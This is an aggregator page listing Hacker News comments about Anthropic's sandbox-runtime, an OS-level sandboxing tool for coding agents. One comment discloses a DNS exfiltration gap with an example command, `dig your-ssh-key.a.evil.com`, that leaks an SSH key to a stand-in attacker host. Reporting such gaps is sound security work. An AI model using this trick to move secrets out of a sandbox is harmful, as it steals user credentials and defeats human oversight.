Hacker GitHub

← All repos

anthropics/sandbox-runtime

View on GitHub ↗ ★ 6,915 TypeScript

A lightweight sandboxing tool for enforcing filesystem and network restrictions on arbitrary processes at the OS level, without requiring a container.

26 mentions on Hacker News by 24 people: 3 stories, 23 comments · first 2025-10-20 · latest 2026-08-11

Mentions per year 26 mentions · busiest year 2026 (19)
20082026
  1. …classify Claude Code as a sandbox, though it does have some sandbox features built in, using https://github.com/anthropic-experimental/sandbox-runtime (which I would classify as a sandbox)
  2. …wish to interact with Claude so much, I've started using Anthropic's sandbox runtime utility "srt": https://github.com/anthropic-experimental/sandbox-runtime This is combined with "auto" mode. Seems to work so far. I've manually checked…
  3. …heard good things about nono [1] from colleagues, but I haven't personally tried it out yet. [0] https://github.com/anthropic-experimental/sandbox-runtime [1] https://github.com/nolabs-ai/nono
    comment by thehours · 2026-08-05 · in Pi's Minimalism Is Its Advantage
  4. …talking about how I always put agents in VMs because I don't trust them. Someone suggested `srt` ( https://github.com/anthropic-experimental/sandbox-runtime ) and I like the idea but I don't like how complicated and huge and JavaScript it…
  5. …use it to contain my local coding agents. It's strict by default and enforced at the OS layer. [0] https://github.com/anthropic-experimental/sandbox-runtime
    comment by edouard-harris · 2026-07-02 · in ZCode – Harness for GLM-5.2
  6. ….env .gitconfig .gitmodules .idea .mcp.json .profile .ripgreprc .vscode .zprofile .zshrc config https://github.com/anthropic-experimental/sandbox-runtime/is...
  7. …only support read blacklist, not a whitelist, so I forked it yesterday to support that [2]. [1] https://github.com/anthropic-experimental/sandbox-runtime [2] https://github.com/carderne/sandbox-runtime
  8. I opened an issue about this on day 1 of the release: https://github.com/anthropic-experimental/sandbox-runtime/is... I ended up making my own sandbox wrapper instead https://GitHub.com/arianvp/landlock-nix
  9. for anyone reading this later, claude code's sandbox code is at https://github.com/anthropic-experimental/sandbox-runtime/
    comment by caspar · 2026-02-24 · in Claude Sonnet 4.6
  10. …and distributed as a bun standalone executable it's difficult to patch the bug yourself. [0]: https://github.com/anthropic-experimental/sandbox-runtime/is...
  11. pretty close to anthropic’s version, yes? or am I mistaken https://github.com/anthropic-experimental/sandbox-runtime
  12. …put all my trust in Claude Code as compared to running it completely inside some environment.. [0] https://github.com/anthropic-experimental/sandbox-runtime
    comment by alsko · 2026-01-21 · in Sandboxing – Claude Code Docs
  13. /sandbox AFAIK uses https://github.com/anthropic-experimental/sandbox-runtime under the hood. It's still experimental and if you dive into the issues I would call its protection light. Many users experiences erratic issues with perms not…
    comment by runekaagaard · 2026-01-21 · in Running Claude Code dangerously (safely)
  14. Check out https://github.com/anthropic-experimental/sandbox-runtime , which tackles this problem using the built-in userspace sandboxing on macOS and Linux. I run Claude from a mounted volume (but no reason you couldn't make a user for it…
  15. …allows data exfiltration via DNS. This isn't clear from the docs. I made an issue for that here: https://github.com/anthropic-experimental/sandbox-runtime/is... How it works: `dig your-ssh-key.a.evil.com` sends evil.com your ssh key via…
  16. …with only user-selected folders mounted in. CC itself runs, if the user set network rules, with https://github.com/anthropic-experimental/sandbox-runtime . There is much more to do - and our docs reflect how early this is - but we're…
    comment by felixrieseberg · 2026-01-12 · in Cowork: Claude Code for the rest of your work
  17. …registry, then asking for a build), not prompt-injecting things like “do whatever it takes.” [1] https://github.com/anthropic-experimental/sandbox-runtime
    comment by languid-photic · 2026-01-01 · in Observed Agent Sandbox Bypasses
  18. …entire point of sandboxing, so none of what you listed would be accessible by default. Check out https://github.com/anthropic-experimental/sandbox-runtime and https://github.com/Zouuup/landrun as examples on how you could restrict agents…
  19. …). also: check out the open-source sandbox runtime from Anthropic: [GitHub Repo]( https://github.com/anthropic-experimental/sandbox-runtime ). clearly i have a bias on this topic, lol
  20. That library is using sandbox-exec to access Seatbelt: https://github.com/anthropic-experimental/sandbox-runtime/bl...
    comment by simonw · 2025-10-23 · in The security paradox of local LLMs
  21. …be used on its own for sandboxing purposes. https://docs.claude.com/en/docs/claude-code/sandboxing https://github.com/anthropic-experimental/sandbox-runtime
    comment by knowaveragejoe · 2025-10-22 · in The security paradox of local LLMs
  22. …released a sandboxing tool based on bubblewrap (Linux, quite lightweight) and sandbox-exec (macOS). https://github.com/anthropic-experimental/sandbox-runtime I wonder if nsjails or gVisor may be useful as well. Here's a more comprehensive…
  23. Link to the GitHub for the native sandboxing: https://github.com/anthropic-experimental/sandbox-runtime
    comment by minimaxir · 2025-10-20 · in Claude Code on the web